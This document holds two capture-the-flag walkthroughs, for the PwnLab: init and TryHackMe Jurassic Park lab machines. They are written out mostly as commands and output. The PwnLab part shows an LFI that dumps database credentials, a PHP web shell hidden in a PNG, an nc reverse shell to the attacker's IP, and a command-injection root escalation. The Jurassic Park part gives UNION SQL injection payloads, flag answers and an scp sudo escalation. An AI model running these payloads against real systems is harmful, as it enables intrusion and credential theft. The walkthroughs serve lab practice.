/images/ (Status: 200)
/index.php (Status: 200)
/config.php (Status: 200)
/login.php (Status: 200)
/server-status/ (Status: 403)
===============================================================
2019/09/15 19:44:01 Finished
===============================================================

Well that was informative! Actually there are two things that stand out to me:

  1. There is an /upload.php and /upload/ entry in the list
  2. There is a config.php file, which may contain details like a MySQL password or something.

Looking at the /upload/ path, I can see a nice directory listing (that happens to be empty):

/upload/ directory

And as for the upload.php file, I apparently need to be logged in first:

upload.php

Browsing to /config.php gives me a blank page, which makes sense since it should be chalked full of configuration variables used by other parts of the site. Since I want to get it’s content, I think about all the different ways to perform Local File Inclusion (LFI) attacks against a PHP application. I turn to my trusty LFI cheat sheet for inspiration.


Note: Some of you may be thinking that I should have gone for a SQL injection attack against the login page, and you’d be right. I actually did try that but I didn’t get anywhere with it. Granted I stayed away from SQLmap, so I’m not sure if that would have worked or not, but I really wanted to see what I could get from this config.php page instead. It’s rare to see MySQL exposed like this, so I figured my best bet was to go after that application next, and I have faith that config.php has the info I’m looking for.


config.php

Now I’m a fan of the php://filter method for LFI, using the convert.base64-encode to encode the data. It obfuscates it just enough to slip past some basic protections. Since I’m after the config.php file, I’ll target it:

root@dante:~# curl http://192.168.127.132/?page=php://filter/convert.base64-encode/resource=config | html2text
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   405  100   405    0     0   197k      0 --:--:-- --:--:-- --:--:--  197k
                              [images/pwnlab.png]
                        [ Home ] [ Login ] [ Upload ]
===============================================================================

PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+
root@dante:~# curl -s http://192.168.127.132/?page=php://filter/convert.base64-encode/resource=config | html2text | tail -n 1 | base64 -d
<?php
$server   = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

And there it is! All on the command line and all in one go. Yes I could have decoded this in Burp and whatnot, but I really like my CLI.

Now that I have a repeatable process, I might as well see what the other pages are doing. After all, why stop at just config.php, when I have login.php, upload.php, and index.php as well! I will have to adjust the number of lines to read via tail, but that’s a small price to pay.

index.php

curl -s http://192.168.127.132/?page=php://filter/convert.base64-encode/resource=index | html2text | tail -n 4 | base64 -d
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
        include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
        if (isset($_GET['page']))
        {
                include($_GET['page'].".php");
        }
        else
        {
                echo "Use this server to upload and share image files inside the intranet";
        }
?>
</center>
</body>
</html>

Wow, looks like there are two areas for injection here! The lang cookie and the page query parameter. The lang cookie value is easiest since it doesn’t append any strings afterwards like the page query parameter does, so this may come in handy later.

login.php

oot@dante:~# curl -s http://192.168.127.132/?page=php://filter/convert.base64-encode/resource=login | html2text | tail -n 4 | base64 -d
<?php
session_start();
require("config.php");
$mysqli = new mysqli($server, $username, $password, $database);

if (isset($_POST['user']) and isset($_POST['pass']))
{
        $luser = $_POST['user'];
        $lpass = base64_encode($_POST['pass']);

        $stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?");
        $stmt->bind_param('ss', $luser, $lpass);

        $stmt->execute();
        $stmt->store_Result();

        if ($stmt->num_rows == 1)
        {
                $_SESSION['user'] = $luser;
                header('Location: ?page=upload');
        }
        else
        {
                echo "Login failed.";
        }
}
else
{
        ?>
        <form action="" method="POST">
        <label>Username: </label><input id="user" type="test" name="user"><br />
        <label>Password: </label><input id="pass" type="password" name="pass"><br />
        <input type="submit" name="submit" value="Login">
        </form>
        <?php
}

So the login page is using prepared statements, making SQL injection a non-starter. That explains the difficulty I had earlier in trying to do simple SQLi to get in. Oh well, at least I didn’t spend a lot of time on it. Still, it’s interesting to see it relies on the config.php file I grabbed earlier.

‘upload.php`

root@dante:~# curl -s http://192.168.127.132/?page=php://filter/convert.base64-encode/resource=upload | html2text | tail -n 4 | base64 -d
<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
        <body>
                <form action='' method='post' enctype='multipart/form-data'>
                        <input type='file' name='file' id='file' />
                        <input type='submit' name='submit' value='Upload'/>
                </form>
        </body>
</html>
<?php
if(isset($_POST['submit'])) {
        if ($_FILES['file']['error'] <= 0) {
                $filename  = $_FILES['file']['name'];
                $filetype  = $_FILES['file']['type'];
                $uploaddir = 'upload/';
                $file_ext  = strrchr($filename, '.');
                $imageinfo = getimagesize($_FILES['file']['tmp_name']);
                $whitelist = array(".jpg",".jpeg",".gif",".png");

                if (!(in_array($file_ext, $whitelist))) {
                        die('Not allowed extension, please upload images only.');
                }

                if(strpos($filetype,'image') === false) {
                        die('Error 001');
                }

                if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
                        die('Error 002');
                }

                if(substr_count($filetype, '/')>1){
                        die('Error 003');
                }

                $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])
).$file_ext;

                if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
) {
                        echo "<img src=\"".$uploadfile."\"><br />";
                } else {
                        die('Error 4');
                }
        }
}

?base64: invalid input

Not perfect output, but good enough. This one is particularly interesting in that it seems to be restricting the types of files that can be uploaded. It checks the file extension as well as the MIME type via the PHP getimagesize method. This basically means that I can’t upload a PHP web shell with .php.jpg as the extension and expect it to work.

Alright, now that I have some code, let me turn to the exposed MySQL connection and see what I can get out of it.

MySQL Enumeration

From the config.php file above, I know the password for root on MySQL is H4u%QJ_H99. Let me see what’s available:

root@dante:~# mysql -uroot -p"H4u%QJ_H99" -h 192.168.127.132 Users
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 42
Server version: 5.5.47-0+deb8u1 (Debian)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [Users]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| Users              |
+--------------------+
2 rows in set (0.00 sec)

MySQL [Users]> show tables;
+-----------------+
| Tables_in_Users |
+-----------------+
| users           |
+-----------------+
1 row in set (0.00 sec)

MySQL [Users]> select * from users;
+------+------------------+
| user | pass             |
+------+------------------+
| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
+------+------------------+
3 rows in set (0.01 sec)

MySQL [Users]>

So not a lot of extras in the MySQL server. There’s one main database, which has one table, which has encrypted passwords. I’ve copied these usernames and passwords to a CSV file and I wrote a small Python script to decrypt them:

import base64,sys

def decodePass(encoded_passwd):
    passwd = base64.b64decode(encoded_passwd)
    return passwd

with open(sys.argv[1]) as f:
    for line in f:
        (user, passwd) = line.split(',')
        print "%s: %s" % (user, decodePass(passwd))

I could have also done something like echo <password> | base64 -d to decode the passwords via the command line, but I like to flex my old programming muscles every so often. Anyways, once I run my code I get the decoded passwords:

root@dante:~/vulnhub/pwnlab# python passwd.py users.txt
kent: JWzXuBJJNy
mike: SIfdsTEn6I
kane: iSv5Ym2GRo

Now that I have the passwords, I can log in and try uploading a web shell.

Web Shell

Now the fun sets in. As I mentioned earlier, the upload.php file has a few checks to make sure I am actually uploading a file before allowing it to be saved on the server. What this means is I can’t take a standard web shell like /usr/share/webshells/php/simple-backdoor.php from Kali and rename it to simple-backdoor.php.jpg and expect it to work.

So what am I going to do? Well, the bare minimum of course! I’ll go to png-pixel.com and download a simple 1×1 pixel PNG, then append my simple-backdoor.php code to the end of it!

png-pixel.com

root@dante:~# cat /usr/share/webshells/php/simple-backdoor.php >> 1x1-00000000.png
root@dante:~# cat 1x1-00000000.png
PNG

IHDR

   IDATxcd`0/IENDB`<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->

<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}

?>

Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd

<!--    http://michaeldaw.org   2006    -->

As you can see, the first few bytes are a valid PNG file, it’s just the tail end of the file that happens to be my “malicious” code. Now to see if this uploads:

upload PNG web shell

It works! Well, there was no error displayed, so there’s hope. Now let me check the /upload/ directory to see if I can get the new filename, since upload.php file will rename it with some MD5 hashed name:

directory listing for PNG web shell

Yes, it is definitely there! Unfortunately clicking on it will not trigger the PHP interpreter, since the MIME type for this is still a PNG file:

interpreted as just an image

However hope is not lost! Remember the index.php file from earlier? There’s a classic OWASP Injection vulnerability in the lang cookie parameter! I should be able to craft a simple curl query using the -b flag to set the cookie value to the image file I uploaded earlier. This will include the PNG file, along with the PHP web shell I added to the end of it, into the index.php code, meaning I can pass in query parameters to this URL and run them!

root@dante:~# curl --output - -b lang=../upload/6a8c0c37efded4d620a5c59990f07b90.png http://192.168.127.132/index.php?cmd=whoami
PNG

IHDR

   IDATxcd`0/IENDB`<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->

<pre>www-data
</pre>

It may not be pretty, but it worked! I can see that the Apache server is running as www-data, which is expected. Now let me see if I can get a foothold on this machine.

Establishing a Foothold

First, let me see if nc is available:

root@dante:~# curl --output - -b lang=../upload/6a8c0c37efded4d620a5c59990f07b90.png http://192.168.127.132/index.php?cmd=which+nc
PNG

IHDR

   IDATxcd`0/IENDB`<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->

<pre>/bin/nc
</pre>

Yes, it is available! Awesome, let me setup a listener and then execute a reverse connection using nc:

root@dante:~# curl --output - -b lang=../upload/6a8c0c37efded4d620a5c59990f07b90.png http://192.168.127.132/index.php?cmd=/bin/nc+-e+/bin/sh+192.168.127.129+9001
root@dante:~# nc -nvlp 9001
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 192.168.127.132.
Ncat: Connection from 192.168.127.132:39649.
python -c "import pty;pty.spawn('/bin/bash')"
www-data@pwnlab:/var/www/html$ export TERM=screen
export TERM=screen
www-data@pwnlab:/var/www/html$

Success. I create a proper TTY session using Python, and export the TERM variable so I can clear the screen. Now let me go hunting for ways to escalate my privileges.

Escalating Privileges

I’m going to do some light recon before I move on to using scripts like LinEnum.sh. I’ll start by looking at what users are on the system by looking at the /etc/passwd file:

root@dante:~# nc -nvlp 9001
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 192.168.127.132.
Ncat: Connection from 192.168.127.132:39649.
python -c "import pty;pty.spawn('/bin/bash')"
www-data@pwnlab:/var/www/html$ export TERM=screen
export TERM=screen
www-data@pwnlab:/var/www/html$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
Debian-exim:x:104:109::/var/spool/exim4:/bin/false
messagebus:x:105:110::/var/run/dbus:/bin/false
statd:x:106:65534::/var/lib/nfs:/bin/false
john:x:1000:1000:,,,:/home/john:/bin/bash
kent:x:1001:1001:,,,:/home/kent:/bin/bash
mike:x:1002:1002:,,,:/home/mike:/bin/bash
kane:x:1003:1003:,,,:/home/kane:/bin/bash
mysql:x:107:113:MySQL Server,,,:/nonexistent:/bin/false

So there are a few users on the system, including john, kent, mike, and kane. From the previous work with MySQL, I have passwords for three of these users. I’ll start in alphabetical order and see if kane re-used his password:

www-data@pwnlab:/var/www/html$ su kane
su kane
Password: iSv5Ym2GRo

kane@pwnlab:/var/www/html$ cd /home/kane
cd /home/kane
kane@pwnlab:~$ ls -al
ls -al
total 36
drwxr-x--- 2 kane kane 4096 Jun 25 11:45 .
drwxr-xr-x 6 root root 4096 Mar 17  2016 ..
-rw------- 1 kane kane  303 Jun 24 21:24 .bash_history
-rw-r--r-- 1 kane kane  220 Mar 17  2016 .bash_logout
-rw-r--r-- 1 kane kane 3515 Mar 17  2016 .bashrc
-rwxr-xr-x 1 kane kane   10 Jun 25 11:45 cat
-rwsr-sr-x 1 mike mike 5148 Mar 17  2016 msgmike
-rw-r--r-- 1 kane kane  675 Mar 17  2016 .profile
kane@pwnlab:~$

Success again! It seems there is a /home/kane/msgmike application that has the SUID bit set to mike. This is great since I did a quick check on sudo for kane, and it did not work. Let me see what this program does exactly, and then use the strings command to see if there’s anything interesting in it:

kane@pwnlab:~$ ./msgmike
./msgmike
cat: /home/mike/msg.txt: No such file or directory
kane@pwnlab:~$ strings msgmike
strings msgmike
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
setregid
setreuid
system
__libc_start_main
__gmon_start__
GLIBC_2.0
PTRh
QVh[
[^_]
cat /home/mike/msg.txt
;*2$"(
GCC: (Debian 4.9.2-10) 4.9.2
GCC: (Debian 4.8.4-1) 4.8.4
<snip>
...

This is interesting. It seems to call cat on a file in /home/mike that doesn’t exist. Looking at the output of the strings command, I can see that the call to cat is relative and not absolute. What does that mean? It means I can have this application call whatever cat file I want, provided I manipulate the path. Let me do just that.

Escalating to mike

I create my own version of cat in /tmp and adjust the PATH variable accordingly before I re-run the msgmike program:

kane@pwnlab:/tmp$ echo "bash -i" > cat
echo "bash -i" > cat
kane@pwnlab:/tmp$ chmod 755 cat
chmod 755 cat
kane@pwnlab:/tmp$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
kane@pwnlab:/tmp$ cd /home/kane
cd /home/kane
kane@pwnlab:~$ ./msgmike
./msgmike
mike@pwnlab:~$ cd /home/mike
cd /home/mike
mike@pwnlab:/home/mike$ ls -al
ls -al
total 28
drwxr-x--- 2 mike mike 4096 Jun 24 21:36 .
drwxr-xr-x 6 root root 4096 Mar 17  2016 ..
-rw-r--r-- 1 mike mike  220 Mar 17  2016 .bash_logout
-rw-r--r-- 1 mike mike 3515 Mar 17  2016 .bashrc
-rwsr-sr-x 1 root root 5364 Mar 17  2016 msg2root
-rw-r--r-- 1 mike mike  675 Mar 17  2016 .profile
mike@pwnlab:/home/mike$

Excellent! We’re now logged in as mike! This new user seems to have a similar SUID/SGID program called msg2root, which feels familiar. I’m going to start with the strings command first just to see if something jumps out at me:

mike@pwnlab:/home/mike$ strings msg2root
strings msg2root
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
stdin
fgets
asprintf
system
__libc_start_main
__gmon_start__
GLIBC_2.0
PTRh
[^_]
Message for root:
/bin/echo %s >> /root/messages.txt
;*2$"(
<snip>
...

I see that there’s another one of these command line injections available, but this time it’s a bit different. Previously the cat command was relative, but here the echo command is absolute so I can’t use the same trick as before.

Escalating to root

Having said that, you can see that the string taken from the user is blindly injected into the string! The %s is a variable that substitutes the input from the user. That’s the theory at least, but I’m going to try it. I’ll inject a string like a ; /bin/sh ; #, which should give a valid value for the echo command, and then chain the /bin/sh command afterwards. The # will comment out the rest of the following command, not that it’s necessary:

mike@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root: a ; /bin/sh ; #
a ; /bin/sh ; #
a
# cd /root
cd /root
# ls -al
ls -al
total 20
drwx------  2 root root 4096 Mar 17  2016 .
drwxr-xr-x 21 root root 4096 Mar 17  2016 ..
lrwxrwxrwx  1 root root    9 Mar 17  2016 .bash_history -> /dev/null
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
----------  1 root root 1840 Mar 17  2016 flag.txt
lrwxrwxrwx  1 root root    9 Mar 17  2016 messages.txt -> /dev/null
lrwxrwxrwx  1 root root    9 Mar 17  2016 .mysql_history -> /dev/null
-rw-r--r--  1 root root  140 Nov 19  2007 .profile
#

Get The Flag

Success! I’ve escalated to root. Now let me grab the flag (making sure that I use the absolute path to cat, or I’ll pick up my hacked one in /tmp/cat):

# /bin/cat flag.txt
/bin/cat flag.txt
.-=~=-.                                                                 .-=~=-.
(__  _)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(__  _)
(_ ___)  _____                             _                            (_ ___)
(__  _) /  __ \                           | |                           (__  _)
( _ __) | /  \/ ___  _ __   __ _ _ __ __ _| |_ ___                      ( _ __)
(__  _) | |    / _ \| '_ \ / _` | '__/ _` | __/ __|                     (__  _)
(_ ___) | \__/\ (_) | | | | (_| | | | (_| | |_\__ \                     (_ ___)
(__  _)  \____/\___/|_| |_|\__, |_|  \__,_|\__|___/                     (__  _)
( _ __)                     __/ |                                       ( _ __)
(__  _)                    |___/                                        (__  _)
(__  _)                                                                 (__  _)
(_ ___) If  you are  reading this,  means  that you have  break 'init'  (_ ___)
( _ __) Pwnlab.  I hope  you enjoyed  and thanks  for  your time doing  ( _ __)
(__  _) this challenge.                                                 (__  _)
(_ ___)                                                                 (_ ___)
( _ __) Please send me  your  feedback or your  writeup,  I will  love  ( _ __)
(__  _) reading it                                                      (__  _)
(__  _)                                                                 (__  _)
(__  _)                                             For sniferl4bs.com  (__  _)
( _ __)                                claor@PwnLab.net - @Chronicoder  ( _ __)
(__  _)                                                                 (__  _)
(_ ___)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(_ ___)
`-._.-'                                                                 `-._.-'

Fin.

vulnhub-hackerfest2019-nl

thm-jurassicpark-nl

NOTICE: (SPOILER!!) If you would like to solve it by yourself, don’t read further.

Today let’s play  Tryhackme’s Jurassicpark at

This medium-hard task will require you to enumerate the web application, get credentials to the server and find 5 flags hidden around the file system. Oh, Dennis Nedry has helped us to secure the app too…

You’re also going to want to turn up your devices volume (firefox is recommended). So, deploy the VM and get hacking..

Please connect to our network before deploying the machine.


#1 What is the SQL database called which is serving the shop information?
#2 How many columns does the table have?
#3 Whats the system version?
ubuntu 16.04
┌─[user@parrot-virtual]─[~] └──╼ $curl 'http://10.10.28.121/item.php?id=5%20union%20select%201,version(),3,4,5'
#4 What is dennis’ password?
┌─[user@parrot-virtual]─[~]
└──╼ $curl http://10.10.28.121/item.php?id=5%20union%20select%201,password,3,4,5%20FROM%20users
#5 Locate and get the first flag contents.

b89f2d69c56b9981ac92dd267f

#6 Whats the contents of the second flag?
96ccd6b429be8c9a4b501c7a0b117b0a
#7 Whats the contents of the third flag?
b4973bbc9053807856ec815db25fb3f1
#8 There is no fourth flag.
#9 Whats the contents of the fifth flag?
2a7074e491fcacc7eeba97808dc5e2ec

We will start with a version scan with script of the top ports on the site:

Image for post

We have a ssh port open on port 22 and an Apache web service open on port 80.

Image for post

Lets navigate to the online shop:

Image for post

Here we can purchase a package, I will select the bronze package:

Image for post

The first thing to notice here is the address block which gives this page an ?id=2.

Image for post

From the tags relating to this box we know it involved SQLi or SQL injection. I am going to cycle through and change the ?id= from 0 to 5 and see what other pages it brings up.

?id=0 — No results found

?id=1 — Gold package

?id=2 — Bronze package

?id=3 — Basic package

?id=4 — No results found

?id=5 — Development package (Interesting)

Image for post

We have a user named Dennis. There is also a note saying that we cannot use certain characters, obviously the ‘ character is used in SQLi.

Let’s try and break the SQL using ?id=5‘ or 1=1

Image for post

So we are being blocked from using the ‘ character. This is why my initial trials using SQLMap did not work. So let try another special character that is not blocked ‘*’.

Image for post

As you can see, appending ?id=5* causes an error in the SQL, so it is fair to say that that the developer has been lazy with their code and this is vulnerable to a SQLi attack.

Lets first try to find out how many columns are in the database and see if we can perform a union exploit.

To do this we use the ‘order by’ statement and increase the number of columns until we get an error. So ?id=5 order by 1,2,3…..

Image for post

So our database has 5 columns, knowing this information we can use the union command to exploit the database and retrieve information, but first we need to see whether any of the columns are vulnerable, that is where the union command comes in, ?id=5 union all select 1,2,3….

Image for post

By adding 01,02,03,04 and 05 to the column numbers I can see those which are vulnerable. As some of the columns such as price prefix with a $ sign, we can use column 2,4 and 5 to pull information from the database. Column 1 does not appear on the website, so we cannot use that one either.

We need to find the database version, database name and we already know the number of columns.

Image for post

the database name is and the version is 

To pull the tables from the database we can use the following:

?id=1 union select 1,2,3 ,group_concat(table_name),5 from information_schema.tables where table_schema = database()

Image for post

We can see that we have two tables and 

Lets see if we can pull the columns relating the the table ‘users’. To do this we can use the following:

?id=1 union select 1,2,3, group_concat(column_name),5 from information_schema.columns where table_schema = database() and table_name = “users”

Image for post

In the table ‘users’ we have the following columns – and 

Normally I would extend this further and pull all the usernames and passwords from the database; however, remember the webpage when ?id=5.

Image for post

The ‘username’ has been blocked; however, we can at least retrieve the password. We can extract the password using:

?id=5 union select 1,2,3,password,5 from users

Image for post

Although we cannot retrieve to username, we can assume that the username is Dennis and a password: ih8dinos. Hopefully these are the ssh credentials for port 22.

┌─[user@parrot-virtual]─[~]
└──╼ $curl 'http://10.10.28.121/item.php?id=5%20union%20select%201,version(),3,4,5'
<link rel="icon" type="image/png" href="assets/favicon.png"/>

<!DOCTYPE html>
<html lang="en">
<head>
<title>Buy, Buy, Buy</title>--snip--


<h1>5.7.25-0ubuntu0.16.04.2 Package</h1></br>
</section>
<div class="container text-center">
<h3>Price: $3</h3></br>
<div class="alert alert-primary" role="alert"><b>5</b> of these packages have been sold in the last hour.</div></br>
<h4>4</h4>
</br><h4>Order yours quick by calling us!</h4>

</div>
</body>
</html>
┌─[user@parrot-virtual]─[~]

Or we simply use sqlmap to do all the work !

┌─[user@parrot-virtual]─[~]
 └──╼ $sqlmap -r http://10.10.114.167/item.php?id=1 --batch --dump --threads 10 --batch

-> dennis / ih8dinos

Image for post

We are in, exploring the home directory for Dennis we find flag1.txt

Image for post

We can also read the .bash_history.

Image for post

In the .bash_history we can see the third flag. Also there is a lot of data regarding scp which is being run as sudo. Scp is a file transfer system for transferring file between computers using ssh. We can also see that flag5 is in the /root directory.

Lets check out if Dennis has any Sudo privileges:

Image for post

We can see that Dennis has full root privilege to run scp, which now explains the .bash_history.

Moving back to /home to see what other users we have. There is one called ubuntu which we cd into.

Image for post

There is an interesting file that stands out, which belongs to root called .viminfo which is also hidden. Although this is owned by root, we have full sudo privileges to copy this file to our local machine using scp.

You should have the ssh server already installed on Kali; however, you can check this with the following:

As I do not use ssh that much, I use ssh.socket, start the ssh server with the following:

# systemctl start ssh.socket

If you want a great guid for setting up the ssh server, check out the link below

How to Enable and Start SSH on Kali Linux – LMG Security

Here at LMG Security , we’re passionate about providing excellent cybersecurity services to organizations around the…

www.lmgsecurity.com

Anyway back to downloading the interesting .viminfo file to our local machine using scp.

Image for post

Back on our local machine we can cat the .viminfo file, which gives us some very interesting information.

Image for post

As you can see, we have the location of flagTwo, which can be found in /boot/grub/fonts.

We can cat this file and retrieve the second flag:

Image for post

We know there is no flag4 and we know that flag5 is in the /root directory.

Again we can use the sudo rights for scp to transfer flag5 to our local machine.

Image for post

There is another option that can be employed instead of transferring the files to the local machine using scp. Basically the binary scp is vulnerable and as it is owned by root, we can exploit this to escalate our privileges to root.

The go to resource for exploitable common binaries is GTFOBins:

GTFOBins

GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions…

gtfobins.github.io

A quick search on GTFOBins for scp with sudo rights gives us the following exploit:

Image for post

Lets enter this code as user Dennis and see what happens:

Image for post

How awesome is that, a few lines of code and full root access.

Author : Puckiestyle